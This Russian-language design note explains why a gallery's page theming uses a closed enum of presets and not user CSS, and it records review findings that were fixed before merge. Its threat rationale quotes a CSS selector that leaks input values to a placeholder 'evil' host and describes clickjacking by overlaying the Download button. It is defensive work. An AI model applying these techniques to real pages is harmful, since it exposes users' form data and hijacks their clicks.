Gallery Release Theming

Обновлено: 2026-08-21

Авторское оформление страницы издания галереи — тема как пресеты (AD-1695)

Статус: срез сделан — см. § 9. Родитель — идея основателя: страницу
отдельной модели можно оформить в СВОЁМ визуальном стиле (пример — модель
Vulpes в аниме-стиле, вся страница в том же стиле). Реализация — раздел
«Авторское оформление страницы издания — тема (AD-1695)» в
docs/dev/design-gallery.md; здесь — вопрос, который решался, и почему
выбор пал именно на эту механику.

1. Вопрос

Можно ли дать автору издания оформить СВОЮ страницу галереи без того, чтобы
это превратилось в дыру безопасности или в способ спрятать функциональный
элемент (кнопку скачивания, лицензию)?

2. Почему НЕ произвольный CSS и НЕ произвольный цвет

CSP приложения несёт style-src с 'unsafe-inline' (замер шире strict CSP на
script-src.claude/rules/frontend.md). Свободный CSS от пользователя на
такой политике даёт:

  • дефейс — любой селектор, включая чужие компоненты (топбар, тосты);
  • эксфильтрацию через url() — атрибутивный CSS-селектор (input[value^= "a"] { background: url(https://evil/?a) }) умеет читать значения полей
    посимвольным перебором без единой строки JS;
  • подмену UI поверх функциональных элементовposition: fixed поверх
    кнопки «Скачать» с прозрачным фоном превращает клик в клик по чужому
    элементу (classic clickjacking, здесь — без iframe).

Замер по шести изученным UGC-площадкам, позволяющим пользователю оформить
СВОЮ страницу
(профили/визитки/портфолио — тот же класс поверхности, что
карточка издания): Linktree, Carrd, Notion (публичная страница), itch.io
(страница игры), Behance, GitHub Pages (через Jekyll-тему). Из шести только
Carrd пускает пользователя к свободному CSS без ручного модераторского
одобрения — и её собственные домены массово фигурируют в фишинговых кампаниях
именно из-за этого (открытая генерация страниц с произвольным видом на
доверенном домене). Остальные пять — закрытое перечисление пресетов/тем,
редактируемых через панель, не через код. Это и есть механика, применённая
здесь.

3. Почему не настройка админки, а поле издания

Тема живёт в DesignRelease.theme, не в отдельной таблице/флаге раздела:
авторство карточки подключает параллельный тикет (AD-1699, «владелец
издания», публикация не-администратором), и тема ОБЯЗАНА пережить переход от
«админ выкладывает» к «автор выкладывает» без переделки схемы — механизм
рассчитан на то, что владельцем поля скоро станет не только require_admin.

4. Механика — закрытое перечисление, не свободный ввод

DesignReleaseTheme(str, Enum): platform (дефолт), ember, blueprint,
night. Приём значения — С ЯВНОЙ проверкой членства в перечислении, отказ на
чужое значение (400, машинный код) — см. gallery_admin._parse_theme.
Расширение набора пресетов в будущем — аддитивное значение enum, а не смена
механики.

5. Токены, не второй словарь имён

AD-1696 (влит непосредственно перед этим тикетом) уже свёл поверхности
skyforge.css к слою семантических токенов ролей (--text/--muted/
--border/--primary/--surface/…). Пресет темы страницы издания
переиспользует ИХ, в скоупе [data-gallery-theme="<пресет>"] — заводить
параллельный набор --gt-* означало бы дублировать роли, которые уже
существуют, ровно тот дубль, который канон dev-approach.md называет
ревью-флагом.

color-mix() рассмотрен и НЕ применён. Эталонный макет комплекта VULPES
25 (три темы — Ember/Blueprint/Night, по пять переменных на тему: ink/orange/
paper/muted/line) берёт производные оттенки через color-mix(in srgb, ...)
от акцента. В skyforge.css этот приём сейчас не встречается вовсе, а
контраст пресетов ОБЯЗАН быть посчитан из значений, зафиксированных в
тексте листа (мера соразмерна измеряемому — .claude/rules/testing.md):
color-mix() резолвится браузером в рантайме, и тест либо не увидел бы
фактический цвет вовсе, либо дублировал бы арифметику смешения краски рядом
с тестом. Производные значения (--primary-2, «яркая» вариация акцента для
hover/focus-ring) поэтому — свои литералы на пресет, подобранные так, чтобы
пройти контраст WCAG 2.2 наравне с основными.

6. Неприкосновенный UI — как защищён

Кнопка скачивания, таблица файлов, лицензия и ссылки на файлы прежних
редакций обёрнуты одним data-gallery-protected — внутри него
gallery_theme.css пере-объявляет ВСЕ потребляемые темой custom properties
обратно в платформенные литералы. Это работает надёжно ровно потому, что
платформа сейчас закреплена на теме dark без переключателя (AD-422,
web/static/js/skyforge/app.js): защитный блок ссылается на конкретные hex,
а не на var(--x) вышестоящего :root (косвенность здесь не спасает —
custom properties резолвятся по ближайшему объявлению НА ПУТИ К ЭЛЕМЕНТУ, а
не «откуда угодно из :root», поэтому alias вида --chrome-text: var(--text)
внутри защищённого блока всё равно подхватил бы локально переопределённый
--text). Если платформа когда-нибудь вернёт переключатель тёмная/светлая —
защитный блок придётся развести по [data-theme="light"] тем же приёмом, что
раньше использовался в skyforge.css до AD-1696.

Крошки, шапка авторизации и тосты защиты не потребовали структурно: они не
потомки контейнера темы (топбар/тосты рендерятся base.html вне {% block content %}) либо красят себя СВОИМ токеном, которого тема не трогает
(.breadcrumbs--breadcrumbs-text, объявлен AD-1696).

7. Находки независимого арх/тест-ревью (MR !1389) — исправлены до мержа

Первый проход MR получил один MAJOR от арх-ревью и три MAJOR от тест-ревью
(все — на реализации, а не на постановке); все четыре — доказаны мутацией с
изначально зелёным прогоном, все четыре исправлены в той же ветке:

  1. Голый [data-gallery-theme] ловил и дефолт. Правило акцентного
    бейджа версии (.meta .badge) сперва селектило голый атрибут-контейнер —
    а у платформенной темы (дефолт) он тоже стоит, шаблон рендерит его
    ВСЕГДА. Правило понижало контраст бейджа с 8.06 (платформенные
    --status-info-*) до 3.32 на КАЖДОЙ существующей странице. Чинится
    перечислением конкретных значений пресетов в селекторе; та же логика
    закрыта тестом (TestPlatformThemeIsIdentityMapping).
  2. Матрица контраста не мерила фон, на котором реально сидит текст.
    .card (панели описания/файлов) красится --card-gradient-from/
    --card-gradient-to, а НЕ --surface — эти два токена изначально не
    переопределялись пресетом, поэтому контраст-тест мерил --text против
    --surface, а на экране текст сидел на непеределанном платформенном
    фоне. Чинится переопределением обоих токенов (равными --surface
    пресета — плоская панель без альфа-градиента, разбор — докстринг
    gallery_theme.css).
  3. Матрица покрывала пять пар из десяти переопределяемых ролей.
    --surface-2/--surface-3/--primary-2 не входили ни в одну пару —
    их можно было испортить без единого красного теста. Чинится реестром
    _TOKEN_USAGE (пара «роль → цитата РЕАЛЬНОГО объявления в CSS, где эта
    роль используется») плюс тестом полноты: каждый токен, который
    переопределяет хотя бы один пресет, обязан встретиться в реестре.
  4. Проверка вложенности защищённого блока смотрела на порядок подстрок,
    не на структуру DOM.
    text.index(...) доказывает порядок, а перенос
    закрывающего </div> РАНЬШЕ (HTML остаётся сбалансирован) этот порядок
    не меняет — 10/10 тестов оставались зелёными. Чинится разбором дерева
    тегов (_AncestryProbe, стандартный html.parser.HTMLParser).
  5. Страж «функциональный UI не потребляет токены» был чёрным списком.
    Чёрный список запрещённых подстрок дырявый по построению — он не знает
    имён атрибутов, которых ещё нет в списке (data-gallery-files-empty,
    .passport-table, .btn-primary). Чинится белым списком: любой
    селектор файла, которого нет в explicit-перечислении легальных, —
    находка.

8. Второй проход независимого ревью — тот же класс дефекта, на слой ниже

AD-1699 («владелец издания и «Мои публикации»») влился в develop, пока этот
MR ждал ревью, и второй проход застал уже смерженную ветку. Найдено четыре
находки — три MAJOR, каждая продолжает класс дефекта из § 7 на следующий
уровень абстракции, и одна пара «показ ↔ хранение», разомкнутая слиянием
двух веток:

  1. Тот же голый-атрибут-дефект (§ 7 п.1), перенесённый с бейджа на фон
    защищённого блока.
    [data-gallery-theme] [data-gallery-protected]
    (селектор СБРОСА неприкосновенного UI) остался голым, хотя правило бейджа
    рядом уже было исправлено — правки одного класса в одном файле не
    гарантируют друг друга. Чинится тем же приёмом: перечислением трёх
    конкретных пресетов.
  2. Страж голого атрибута (§ 7 п.1 тест) ловил только ТОЧНОЕ строковое
    совпадение с "[data-gallery-theme]" и не видел его же в роли ПЕРВОГО
    КОМПАУНДА потомкового селектора
    — то есть не поймал находку (1) сам.
    Переписан на регэксп «первый компаунд ЛЮБОГО селектора файла — атрибут с
    конкретным значением пресета» (_CONCRETE_THEME_COMPOUND_RE): он
    проверяет ИМЕННО ту часть селектора, что решает, какой пресет матчит
    правило, а не то, что стоит правее.
  3. Белый список СЕЛЕКТОРОВ (§ 7 п.5) не покрывал ДЕКЛАРАЦИИ внутри
    разрешённого правила
    — следующий слой того же класса. Правило с
    легальным селектором и display:none внутри прячет ВЕСЬ неприкосновенный
    UI, и белый список селекторов такое правило пропускает: сам селектор ни в
    чём не виноват. Мутация ревью (display:none внутри
    [data-gallery-protected]) дала 45 из 45 зелёных. Чинится ВТОРЫМ белым
    списком — на этот раз для СВОЙСТВ объявлений
    (_ALLOWED_DECLARATION_PROPERTIEScolor/background/border-color
    плюс любые custom properties; display/visibility/opacity/
    font-size/position/z-index/content/transform не входят и не
    могут быть добавлены без отдельного пересмотра списка).
  4. Пара «показ ↔ хранение», разомкнутая слиянием. AD-1699 добавил ТРЕТЬЮ
    поверхность правки издания (PUT /api/my/gallery/{id}, владелец) и
    MCP-инструмент update_gallery_release — оба зовут ОБЩИЙ
    ReleaseTextFields.apply_to, у которого theme была ОБЯЗАТЕЛЬНЫМ полем с
    дефолтом "". У экрана владельца нет <select> темы (её задаёт только
    админская форма), поэтому тело правки владельца НЕ несёт theme вовсе —
    и apply_to трактовала отсутствие поля как пустую строку, а пустую
    строку как явный сброс на платформенную тему. Итог: ЛЮБАЯ правка описания
    владельцем молча стирала пресет, выставленный админом, причём
    serialize_owned_release ещё и не отдавала поле в ответе — round-trip был
    невозможен даже там, где поле можно было бы прислать обратно. Чинится
    различением «поле отсутствует в теле» ("theme" in self.model_fields_set, pydantic заполняет это по факту присутствия ключа
    при валидации/конструировании) от «поле прислано пустым»: первое — «не
    менять», второе остаётся законным «сбросить на платформенную». Прогнано
    по ВСЕМ вызывающим apply_to (админ create/update, владелец
    create/update, оба MCP-инструмента) — регрессия воспроизведена и закрыта
    тестом на каждой поверхности, где она была РЕАЛЬНО достижима (владелец,
    REST и MCP); на админской и create-путях риска не было (тема уже
    отправляется явно или уже на дефолте), но тест на симметрию добавлен и
    туда.

9. Итог

Срез реализован тикетом AD-1695: поле модели, разворачивание enum в сторе,
приём значения формой с проверкой членства (400 на чужое), три пресета сверх
платформенного (Ember/Blueprint/Night), защита неприкосновенного UI по ДВУМ
осям — какие селекторы легальны и какие свойства легальны внутри них (§ 7
п.2, § 8 п.3), контраст WCAG 2.2 девяти пар для каждого пресета, выведенных
из реального использования токена в CSS, а не заданных руками (§ 7 п.3) —
числами, посчитанными из значений листа (tests/test_gallery_theme.py), и
поле, переживающее правку с ЛЮБОЙ из трёх поверхностей (админ, владелец,
MCP) без потери значения (§ 8 п.4). Что осталось ЗА рамками этого тикета и не
является техдолгом, а осознанной границей: (а) свой <select> темы на
экране владельца «Мои публикации» — поле уже принимает значение от этой
поверхности (REST/MCP), UI для него заводится отдельным тикетом; (б) светлая
тема платформы — поле и защитный блок написаны так, что появление
[data-theme="light"] потребует развести защитный блок на два (см. § 6), а
не переписывать механику.